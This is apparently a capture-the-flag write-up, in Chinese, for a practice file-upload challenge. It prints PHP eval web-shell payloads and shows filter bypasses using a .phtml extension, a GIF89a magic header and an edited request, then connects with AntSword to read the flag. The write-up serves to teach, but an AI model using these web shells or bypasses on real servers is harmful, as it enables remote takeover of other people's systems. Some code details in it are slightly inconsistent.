此题为典型的文件上传漏洞
先上传一个.php 文件发现被过滤了
<?php @eval($_POST['cmd']); ?>
猜测为前端过滤,文件后缀改为.jpg文件,通过抓包更改filename属性与content-type属性信息绕过
回显not! php! 做了后端后缀验证
试着更改其他文件后缀名通过 php2 ,php3 ,php4,php5,phtml,phps
phtml绕过成功,但是后端有内容检测认证不能包含<?,试着编写javascript绕过
<script language='php'>@eval(@_POST['cmd']);</script>
回显 “不要欺骗我,它根本不是img”
还是被后端检测到了,根据提示我们加上jpg文件的文件头试试
ÿØÿàJFIF
<script laguage='php'> @eval($_POST['cmd']); </script>
上传还是被检测到了
经过尝试发现使用gif的文件头可以绕过
GIF89a
<script language='php'> @eval($_POST['cmd']); </script>
上传成功,但是并没有给upload地址,看url发现文件命名格式为upload_ ***,猜测目录为upload
猜对了,访问刚才上传的文件(buuctf靶场不要用御剑去扫)
用蚁剑连接,连接失败返回数据为空,检查代码发现 属性写错了 'language' 写错成了 'languege'
连接成功
在根目录下发现flag
考点:后缀名绕过方法,文件幻术头绕过。
漏洞利用前提:存在文件包含漏洞
漏洞点:后端验证没有过滤phtml,导致可执行文件注入。
后端验证没有过滤空格 shell. php也可以上传。